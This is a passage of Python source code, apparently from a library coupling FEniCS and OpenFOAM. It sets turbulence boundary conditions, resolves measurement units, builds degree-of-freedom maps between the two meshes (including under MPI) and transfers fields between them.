dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\n\t\t\t\t\telif foam_vector_name == 'k':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.375], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'kqRWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.375], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'epsilon':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([14.855], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'epsilonWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([14.855], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'omega':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([440.15], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'omegaWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([440.15], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'nut':\n\t\t\t\t\t\tif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'nutkWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'calculated'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'nuTilda':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'nutkWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\n\t\t\t\t\telif foam_vector_name == 'v2':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.25], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'v2WallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.25], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'f':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fWallFunction'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0.25], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name == 'alpha_design':\n\t\t\t\t\t\t\t# The design variable is NOT solved by OpenFOAM, which means that OpenFOAM should not try to impose any boundary condition on it.\n\t\t\t\t\t\t\t# https://www.openfoam.com/documentation/user-guide/standard-boundaryconditions.php\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'calculated'\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\n\t\t\t\t\telif foam_vector_name.startswith('U_'):\n\t\t\t\t\t\t\t# This variable is NOT solved by OpenFOAM, which means that OpenFOAM should not try to impose any boundary condition on it.\n\t\t\t\t\t\t\t# https://www.openfoam.com/documentation/user-guide/standard-boundaryconditions.php\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'calculated'\n\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0, 0, 0], dtype = 'float')\n\n\t\t\t\t\telse:\n\t\t\t\t\t\t# This error is just because I want to guarantee that the variable has a definition here (in this function). Also, the variable needs to be in self.dictionary_measurement_units.\n\t\t\t\t\t\tutils.customPrint(\" ❗ Variable '%s' does not have a predefined sample value. Setting sample value to a zero 'fixedValue'...\" %(foam_vector_name))\n\t\t\t\t\t\t#raise ValueError(\" ❌ ERROR: foam_vector_name == '%s' is not defined!\" %(foam_vector_name))\n\t\t\t\t\n\t\t\t\t\tif len(data_to_add['boundaryField'][boundary_name]) == 0:\n\t\t\t\t\t\tif foam_vector_type == 'volScalarField':\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\n\t\t\t\t\t\telif foam_vector_type == 'volVectorField':\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0, 0, 0], dtype = 'float')\n\n\t\t# Final check\n\t\tif self.domain_type == '2D':\n\t\t\tassert 'frontAndBackSurfaces' in data_to_add['boundaryField']\n\t\telif self.domain_type == '2D axisymmetric':\n\t\t\tassert 'frontSurface' in data_to_add['boundaryField']\n\t\t\tassert 'backSurface' in data_to_add['boundaryField']\n\n\t\t# Write the data to variable file\n\t\tfoam_writer.writeDataToFile(\n\t\t\tdata_to_add = data_to_add, \n\t\t\tfile_to_use = \"%s/%s/%s\" % (self.problem_folder, time_step_name, foam_vector_name)\n\t\t)\n\n\t####################### getFoamMeasurementUnit #########################\n\n\t@utils_fenics.no_annotations()\n\tdef getFoamMeasurementUnit(self, foam_name):\n\t\t\"\"\"\n\t\tReturns the measurement unit code of a variable in OpenFOAM.\n\t\t\"\"\"\n\n\t\tif foam_name not in self.dictionary_measurement_units:\n\n\t\t\t# Considering \"starred\" names, such as 'U_*'\n\n\t\t\tnames_without_star = [name[:-1] for name in self.dictionary_measurement_units if name.endswith('*')]\n\n\t\t\tfound = False\n\t\t\tfor name_without_star in names_without_star:\n\t\t\t\tif foam_name.startswith(name_without_star):\n\t\t\t\t\tname_with_star = name_without_star + \"*\"\n\t\t\t\t\tunit_name = self.dictionary_measurement_units[name_with_star]\n\t\t\t\t\tfound = True\n\t\t\t\t\tbreak\n\n\t\t\tif found == False:\n\t\t\t\traise ValueError(\"\"\" ❌ ERROR: Variable '%s' does not exist in the dictionary of measurement units (%s)!\nBut: You can add it through the keyword parameter 'additional_measurement_units' in FEniCSFoamSolver([...]).\nFor example,\n\nfenics_foam_solver = FEniCSFoamSolver(\n\t[...],\n\tadditional_measurement_units = {\n\t\t'Unew' : 'velocity', # String name\n\t\t'xyz' : [0, 2, -1, 0, 0, 0, 0], # Specified in the OpenFOAM format\n\t}\n)\n\nCheck \"utils/utils.py > convertToFoamUnitSpecification\" in order to know which \nmeasurement units are already available through string names. If the desired\nmeasurement unit is not defined there, you need to specify a Python list\nin the OpenFOAM format ( https://cfd.direct/openfoam/user-guide/v7-basic-file-format/ ),\nas shown above for 'xyz'.\n\"\"\" %(foam_name, self.dictionary_measurement_units))\n\n\t\telse:\n\t\t\tunit_name = self.dictionary_measurement_units[foam_name]\n\n\t\treturn utils.convertToFoamUnitSpecification(unit_name)\n\n\t#################### prepareFunctionSpacesAndMaps ######################\n\n\t@utils_fenics.no_annotations()\n\tdef prepareFunctionSpacesAndMaps(self):\n\t\t\"\"\"\n\t\tPrepare the FunctionSpaces and DoF maps for FEniCS and the OpenFOAM variables.\n\t\t\"\"\"\n\n\t\tutils.initTimeCount('Creating variable maps')\n\n\t\tutils.customPrint(\"\\n 🌊 Preparing function spaces and maps...\")\n\n\t\t# Create DoF maps -- Assuming triangular mesh (for the 2D axisymmetric domain)\n\t\tfoam_dof_coordinates = self.foam_solver.foam_mesh.cell_centers(compute_2D_cell_centers_for_triangles_if_2D_axisymmetric = True)\n\n\t\t#### Scalar values\n\n\t\t# For scalar values (0 dimensions)\n\n\t\tutils.initTimeCount('Creating variable map for scalar values (0 dimensions)')\n\n\t\tutils.customPrint(\"\\n 🌊 Creating map for scalar values (0 dimensions)...\")\n\n\t\t# DG0 FunctionSpace\n\t\tDG0_function_space = utils_fenics.createDG0FEniCSFunctionSpace(self.mesh, dim = 0)\n\n\t\t# DoF coordinates\n\t\tfenics_dof_coordinates = utils_fenics.getDoFCoordinatesFromFunctionSpace(DG0_function_space)\n\n\t\tif utils_fenics_mpi.runningInParallel():\n\n\t\t\t# Save for later\n\t\t\tfenics_dof_coordinates_orig = fenics_dof_coordinates\n\n\t\t\t# Gather the DoF coordinates\n\t\t\t(fenics_dof_coordinates_gathered, map_local_to_global_DoFs, map_global_to_local_DoFs) = utils_fenics_mpi.getGatheredDoFCoordinates(DG0_function_space, return_local_maps = True)\n\n\t\t\t# Use the gathered DoF coordinates\n\t\t\tfenics_dof_coordinates = fenics_dof_coordinates_gathered\n\n\t\t# Minimum element size\n\t\thmin = self.mesh.hmin()\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\thmin = utils_fenics_mpi.evaluateBetweenProcessors(hmin, operation = 'minimum', proc_destination = 'all')\n\n\t\t# Create the DoF maps\n\t\t(self.map_DoFs_foam_to_fenics, self.map_DoFs_fenics_to_foam) = utils_fenics.generateDoFMapsOpenFOAM_FEniCS(fenics_dof_coordinates, foam_dof_coordinates, self.domain_type, mesh_hmin = hmin, tol_factor = self.tol_factor_for_mapping_FEniCS_and_OpenFOAM)\n\n\t\tif utils_fenics_mpi.runningInParallel():\n\n\t\t\t# Maps: Global FEniCS <-> Global FoamVector\n\t\t\tmap_DoFs_global_foam_to_global_fenics = self.map_DoFs_foam_to_fenics\n\t\t\tmap_DoFs_global_fenics_to_global_foam = self.map_DoFs_fenics_to_foam\n\n\t\t\t# Maps: Local FEniCS <-> Global FoamVector\n\t\t\tmap_DoFs_global_foam_to_local_fenics = [map_DoFs_global_fenics_to_global_foam[map_local_to_global_DoFs[i_fenics_local]] for i_fenics_local in range(len(map_local_to_global_DoFs))]\n\t\t\tmap_DoFs_local_fenics_to_global_foam = utils_fenics.invertMapOrder(map_DoFs_global_foam_to_local_fenics)\n\n\t\t\t# Maps: Local FEniCS <-> Local FoamVector\n\t\t\t # The local mapping between FEniCS and FoamVector will \n\t\t\t # be selected as the same (for simplicity).\n\t\t\tmap_DoFs_local_fenics_to_local_foam = np.arange(0,len(map_DoFs_local_fenics_to_global_foam))\n\t\t\tmap_DoFs_local_foam_to_local_fenics = map_DoFs_local_fenics_to_local_foam.copy()\n\n\t\t\t# Save all maps\n\t\t\tself.map_DoFs_global_foam_to_global_fenics = map_DoFs_global_foam_to_global_fenics\n\t\t\tself.map_DoFs_global_fenics_to_global_foam = map_DoFs_global_fenics_to_global_foam\n\t\t\tself.map_DoFs_local_fenics_to_global_foam = map_DoFs_local_fenics_to_global_foam\n\t\t\tself.map_DoFs_global_foam_to_local_fenics = map_DoFs_global_foam_to_local_fenics\n\t\t\tself.map_DoFs_local_fenics_to_local_foam = map_DoFs_local_fenics_to_local_foam\n\t\t\tself.map_DoFs_local_foam_to_local_fenics = map_DoFs_local_foam_to_local_fenics\n\n\t\t\t# Use the local maps\n\t\t\tself.map_DoFs_foam_to_fenics = map_DoFs_local_foam_to_local_fenics\n\t\t\tself.map_DoFs_fenics_to_foam = map_DoFs_local_fenics_to_local_foam\n\n\t\t\t# Set the local DoF mapping for FoamMesh, in order for FoamVector\n\t\t\t # to be able to be updated in parallel.\n\t\t\tself.foam_solver.foam_mesh.set_local_mapping(self.map_DoFs_global_foam_to_local_fenics, self.map_DoFs_local_fenics_to_global_foam)\n\n\t\t\t# Back to the local DoF coordinates\n\t\t\tfenics_dof_coordinates = fenics_dof_coordinates_orig\n\n\t\telse:\n\t\t\tpass\n\n\t\tutils.finishTimeCount('Creating variable map for scalar values (0 dimensions)')\n\n\t\t#### Vector values\n\n\t\tif self.domain_type == '2D': # For FEniCS vector values (2 dimensions)\n\n\t\t\tutils.initTimeCount('Creating variable map for vector values (2 dimensions)')\n\n\t\t\tutils.customPrint(\"\\n 🌊 Creating map for vector values (2 dimensions)...\")\n\n\t\t\t# DG0 VectorFunctionSpace with 2 dimensions\n\t\t\tDG0_function_space_2 = utils_fenics.createDG0FEniCSFunctionSpace(self.mesh, dim = 2)\n\n\t\t\t# Create the DoF maps\n\t\t\t(map_from_component_to_function, map_from_function_to_component) = utils_fenics.getDoFmapFromFEniCSVectorFunctiontoComponent(DG0_function_space_2)\n\n\t\t\t# Save the DoF maps\n\t\t\tself.maps_from_component_to_function = {\n\t\t\t\t'2 components' : {\n\t\t\t\t\t'from component to function' : map_from_component_to_function,\n\t\t\t\t\t'from function to component' : map_from_function_to_component,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tutils.finishTimeCount('Creating variable map for vector values (2 dimensions)')\n\n\t\telif self.domain_type == '2D axisymmetric' or self.domain_type == '3D': # For FEniCS vector values (3 dimensions)\n\n\t\t\tutils.initTimeCount('Creating variable map for vector values (3 dimensions)')\n\n\t\t\tutils.customPrint(\"\\n 🌊 Creating map for vector values (3 dimensions)...\")\n\n\t\t\t# DG0 VectorFunctionSpace with 3 dimensions\n\t\t\tDG0_function_space_3 = utils_fenics.createDG0FEniCSFunctionSpace(self.mesh, dim = 3)\n\n\t\t\t# Create the DoF maps\n\t\t\t(map_from_component_to_function, map_from_function_to_component) = utils_fenics.getDoFmapFromFEniCSVectorFunctiontoComponent(DG0_function_space_3)\n\n\t\t\t# Save the DoF maps\n\t\t\tself.maps_from_component_to_function = {\n\t\t\t\t'3 components' : {\n\t\t\t\t\t'from component to function' : map_from_component_to_function,\n\t\t\t\t\t'from function to component' : map_from_function_to_component,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tutils.finishTimeCount('Creating variable map for vector values (3 dimensions)')\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is not defined!\" %(self.domain_type))\n\n\t\tutils.finishTimeCount('Creating variable maps')\n\n\t#################### setFEniCSFunctionToFoamVector #####################\n\n\t@utils_fenics.no_annotations()\n\tdef setFEniCSFunctionToFoamVector(self, \n\t\tfenics_function, \n\t\tfoam_variable_name = \"\", \n\t\tconvert_to_usual_units_if_necessary = True, \n\t\tset_calculated_foam_boundaries = False, \n\t\tconvert_from_usual_units_if_necessary = True, \n\t\tensure_maximum_minimum_values_after_projection = False,\n\t\ttol_for_maximum_minimum_values_after_projection = 1.E-20\n\t\t):\n\t\t\"\"\"\n\t\tSets a FEniCS Function to the \"internalField\" of an OpenFOAM variable (* The \"boundaryField\" is not considered in this operation (at least for now), because \"boundaryField\" is closely related to the imposition of the boundary conditions. Check \"fenics_foam_solver.getFoamVectorBoundaryValues\".)\n\t\t* DO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\n\t\t The only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\n\t\t which effectively create copies of the array of values.\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Setting OpenFOAM variable '%s' from FEniCS...\" %(foam_variable_name))\n\n\t\t# Check the type\n\t\tfenics_function_orig = fenics_function\n\n\t\t# Function\n\t\tif type(fenics_function_orig).__name__ == 'Function':\n\t\t\tpass\n\n\t\t# Indexed\n\t\telif type(fenics_function_orig).__name__ == 'Indexed':\n\t\t\traise NotImplementedError(\"\"\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! \nDO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\nThe only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\nwhich effectively create copies of the array of values.\"\"\" %(type(fenics_function_orig).__name__))\n\n\t\t# Constant\n\t\telif type(fenics_function_orig).__name__ == 'Constant':\n\t\t\t\t\n\t\t\t# FoamVector\n\t\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\t\t# Local values from the FoamVector\n\t\t\tfoam_vector_array = foam_vector.get_local()\n\n\t\t\t# Converting Constant to float\n\t\t\tfloat_value = utils_fenics.floatVector(fenics_function_orig)\n\n\t\t\t# If it is a scalar\n\t\t\tif ('int' in type(float_value).__name__) or ('float' in type(float_value).__name__):\n\t\t\t\tfoam_vector_new_array = np.ones_like(foam_vector_array)*float_value\n\n\t\t\telse: # If it is a vector\n\n\t\t\t\tif self.domain_type == '2D': # Ignore third component\n\n\t\t\t\t\tnumber_of_elements = foam_vector_array.shape[0]\t\t\n\t\t\t\t\tfoam_vector_new_array = np.repeat([[float_value[0], float_value[1], 0.0]], number_of_elements, axis = 0)\n\n\t\t\t\telif self.domain_type == '2D axisymmetric' or domain_type == '3D':\n\n\t\t\t\t\tnumber_of_elements = foam_vector_array.shape[0]\t\t\n\t\t\t\t\tfoam_vector_new_array = np.repeat([float_value], number_of_elements, axis = 0)\n\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == %s is not defined here!\" %(self.domain_type))\n\n\t\t\t# Set the local changes\n\t\t\tfoam_vector.set_local(foam_vector_new_array)\n\n\t\t\t# Set to apply the changes to file\n\t\t\tfoam_vector.set_to_apply_changes('insert')\n\n\t\t\treturn\n\n\t\telse:\n\t\t\traise NotImplementedError(\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! Please, consider using a Function or a Constant!\" %(type(fenics_function_orig).__name__))\n\n\t\t# Check if the variable name exists in OpenFOAM\n\t\tif foam_variable_name not in self.variable_dictionary:\n\t\t\traise ValueError(\" ❌ ERROR: foam_variable_name == '%s' not available in self.variable_dictionary = %s!\" %(foam_variable_name, self.variable_dictionary))\n\n\t\t# Create the necessary DG0 function for the OpenFOAM variable (if not already created)\n\t\tif type(self.variable_dictionary[foam_variable_name]['FEniCS Function']).__name__ == 'NoneType':\n\n\t\t\t# Get the number of components of the FEniCS function\n\t\t\tdim_fenics_function = fenics_function.function_space().num_sub_spaces()\n\n\t\t\t# Create the corresponding DG0 Function\n\t\t\tif dim_fenics_function > 1:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = dim_fenics_function)\n\t\t\telse:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = 0)\n\n\t\t\t# Save for later use\n\t\t\tself.variable_dictionary[foam_variable_name]['FEniCS Function'] = DG0_function\n\n\t\t# Get the DG0 Function\n\t\tDG0_function = self.variable_dictionary[foam_variable_name]['FEniCS Function']\n\n\t\t# Update the DG0 function\n\t\tDG0_function.assign(utils_fenics.configuredProject(fenics_function, DG0_function.function_space(), self.projection_setup, skip_projection_if_same_FunctionSpace = True))\n\t\t#DG0_function.assign(project(fenics_function, DG0_function.function_space()))\n\t\t#DG0_function.interpolate(fenics_function)\n\t\t#DG0_function.assign(fenics_function)\n\n\t\t# Keep maximum/minimum values from before the projection\n\t\tif ensure_maximum_minimum_values_after_projection == True:\n\n\t\t\t# Maximum and minimum values BEFORE projection\n\t\t\tfenics_function_max = fenics_function.vector().max()\n\t\t\tfenics_function_min = fenics_function.vector().min()\n\n\t\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\t\tfenics_function_max = utils_fenics_mpi.evaluateBetweenProcessors(fenics_function_max, operation = 'maximum', proc_destination = 'all')\n\t\t\t\tfenics_function_min = utils_fenics_mpi.evaluateBetweenProcessors(fenics_function_min, operation = 'minimum', proc_destination = 'all')\n\n\t\t\t# Get all values AFTER projection\n\t\t\tDG0_function_array = DG0_function.vector().get_local()\n\n\t\t\t# Set the maximum and minimum values\n\t\t\tDG0_function_array[DG0_function_array < fenics_function_min + tol_for_maximum_minimum_values_after_projection] = fenics_function_min\n\t\t\tDG0_function_array[DG0_function_array > fenics_function_max - tol_for_maximum_minimum_values_after_projection] = fenics_function_max\n\n\t\t\t# Set the new values\n\t\t\tDG0_function.vector().set_local(DG0_function_array)\n\t\t\tDG0_function.vector().apply('insert')\n\n\t\t# Post-processing\n\t\tself.postProcessFEniCSVariableToFoam(foam_variable_name, DG0_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t\t# FoamVector\n\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\t# Transfer the values of the FEniCS variable to the FoamVector\n\t\tutils_fenics.FEniCSFunctionToFoamVector(DG0_function, foam_vector, self.map_DoFs_foam_to_fenics, self.maps_from_component_to_function, self.domain_type)\n\n\t\t# I think the part below should not be needed when you have already set the boundary\n\t\t # conditions as 'calculated' or something like that, because the 'value'\n\t\t # is an 'initial guess' for OpenFOAM to compute the value. \n\t\tif set_calculated_foam_boundaries == True:\n\t\t\tself.setAllEqualFoamBoundaryConditions(foam_variable_name, 'calculated', DG0_function, check_consistency_of_imposed_values = False, convert_from_usual_units_if_necessary = convert_from_usual_units_if_necessary)\n\n\t#################### setFoamVectorToFEniCSFunction #####################\n\n\t@utils_fenics.no_annotations()\n\tdef setFoamVectorToFEniCSFunction(self, \n\t\tfenics_function, foam_variable_name = \"\", \n\t\tconvert_to_usual_units_if_necessary = True, \n\t\timpose_boundaryField = False, \n\t\tfoam_vector = None,\n\n\t\t# Filter for smoother transitions after the projection\n\t\tapply_filter_for_smoother_transitions = True,#False,\n\t\tfilter_parameters = {},\n\t\t):\n\t\t\"\"\"\n\t\tSets a FEniCS Function from the \"internalField\" of an OpenFOAM variable (* The \"boundaryField\" is not considered in this operation by default, because \"boundaryField\" is closely related to the imposition of the boundary conditions. Check \"fenics_foam_solver.getFoamVectorBoundaryValues\".).\n\t\t* DO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\n\t\t The only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\n\t\t which effectively create copies of the array of values.\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Setting OpenFOAM variable '%s' to FEniCS...\" %(foam_variable_name))\n\n\t\t# Check the type\n\t\tfenics_function_orig = fenics_function\n\n\t\t# Function\n\t\tif type(fenics_function_orig).__name__ == 'Function':\n\t\t\tpass\n\n\t\t# Indexed\n\t\telif type(fenics_function_orig).__name__ == 'Indexed':\n\n\t\t\traise NotImplementedError(\"\"\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! \nDO NOT use 'Indexed' variables that you obtain by u[num_global_component] or split(u)[num_local_component].\nThe only variables recognized here are u.split()[num_local_component] or u.split(deepcopy = True)[num_local_component],\nwhich effectively create copies of the array of values.\"\"\" %(type(fenics_function_orig).__name__))\n\n\t\telse:\n\t\t\traise NotImplementedError(\" ❌ ERROR: Not implemented for type(fenics_function_orig).__name__ == '%s'! Please, consider using a Function!\" %(type(fenics_function_orig).__name__))\n\n\t\t# Check if the variable name exists in OpenFOAM\n\t\tif type(foam_vector).__name__ != 'NoneType':\n\n\t\t\tusing_separated_foam_vector = True\n\n\t\t\t# Get the number of components of the FEniCS function\n\t\t\tdim_fenics_function = fenics_function.function_space().num_sub_spaces()\n\n\t\t\t# Create the corresponding DG0 Function\n\t\t\tif dim_fenics_function > 1:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = dim_fenics_function)\n\t\t\telse:\n\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = 0)\n\n\t\t\t# Save for later use\n\t\t\tself.variable_dictionary[foam_variable_name]['FEniCS Function'] = DG0_function\n\n\t\telif foam_variable_name in self.variable_dictionary:\n\n\t\t\tusing_separated_foam_vector = False\n\n\t\t\t# FoamVector\n\t\t\tfoam_vector = self.variable_dictionary[foam_variable_name]['FoamVector']\n\n\t\t\t# Create the necessary DG0 function for the OpenFOAM variable\n\t\t\tif type(self.variable_dictionary[foam_variable_name]['FEniCS Function']).__name__ == 'NoneType':\n\n\t\t\t\t# Get the number of components of the FEniCS function\n\t\t\t\tdim_fenics_function = fenics_function.function_space().num_sub_spaces()\n\n\t\t\t\t# Create the corresponding DG0 Function\n\t\t\t\tif dim_fenics_function > 1:\n\t\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = dim_fenics_function)\n\t\t\t\telse:\n\t\t\t\t\tDG0_function = utils_fenics.createDG0FEniCSFunction(self.mesh, dim = 0)\n\n\t\t\t\t# Save for later use\n\t\t\t\tself.variable_dictionary[foam_variable_name]['FEniCS Function'] = DG0_function\n\n\t\t\t# DG0 Function\n\t\t\tDG0_function = self.variable_dictionary[foam_variable_name]['FEniCS Function']\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: foam_variable_name == '%s' not available in self.variable_dictionary = %s!\" %(foam_variable_name, self.variable_dictionary))\n\n\t\t# Transfer the values of the FoamVector to the FEniCS variable\n\t\tutils_fenics.FoamVectorToFEniCSFunction(foam_vector, DG0_function, self.map_DoFs_fenics_to_foam, self.maps_from_component_to_function, self.domain_type)\n\n\t\t# Update FEniCS Function from DG0\n\t\tfenics_function.assign(utils_fenics.configuredProject(DG0_function, fenics_function.function_space(), self.projection_setup, skip_projection_if_same_FunctionSpace = True))\n\t\t#fenics_function.assign(project(DG0_function, fenics_function.function_space()))\n\t\t#fenics_function.interpolate(DG0_function)\n\t\t#fenics_function.assign(DG0_function)\n\n\t\t# Impose 'boundaryField' if wanted\n\t\tif impose_boundaryField == True:\n\t\t\tif using_separated_foam_vector == True:\n\t\t\t\tself.getFoamVectorBoundaryValuesInFEniCS(foam_variable_name = foam_variable_name, convert_to_usual_units_if_necessary = False, type_of_FEniCS_Function = fenics_function, foam_vector = foam_vector)\n\t\t\telse:\n\t\t\t\tself.getFoamVectorBoundaryValuesInFEniCS(foam_variable_name = foam_variable_name, convert_to_usual_units_if_necessary = False, type_of_FEniCS_Function = fenics_function)\n\n\t\t# Post-processing\n\t\tif using_separated_foam_vector == True:\n\t\t\tpass\n\t\telse:\n\t\t\tself.postProcessFEniCSVariableFromFoam(foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = convert_to_usual_units_if_necessary)\n\n\t\t# Apply a filter for smoother transitions\n\t\tif apply_filter_for_smoother_transitions == True:\n\n\t\t\t# Check the type of variable\n\t\t\tif foam_vector.num_components == 1:\n\t\t\t\ttype_of_variable = 'scalar'\n\t\t\telif foam_vector.num_components == 3:\n\t\t\t\ttype_of_variable = 'vector'\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: foam_vector.num_components == %d is not implemented!\" %(foam_vector.num_components))\n\n\t\t\t# Apply filter\n\t\t\tutils_fenics.filterVariable(fenics_function, fenics_function.function_space(), domain_type = self.domain_type, filter_parameters = filter_parameters, overload_variable = True, type_of_variable = type_of_variable)\n\n\t\t\t# Post-processing\n\t\t\tif using_separated_foam_vector == True:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tself.postProcessFEniCSVariableFromFoam(foam_variable_name, fenics_function, convert_to_usual_units_if_necessary = False)\n\n\t################# getFoamVectorBoundaryValuesInFEniCS ##################\n\n\t@utils_fenics.no_annotations()\n\tdef getFoamVectorBoundaryValuesInFEniCS(self, \n\t\tfoam_variable_name = \"\", \n\t\tconvert_to_usual_units_if_necessary = True, 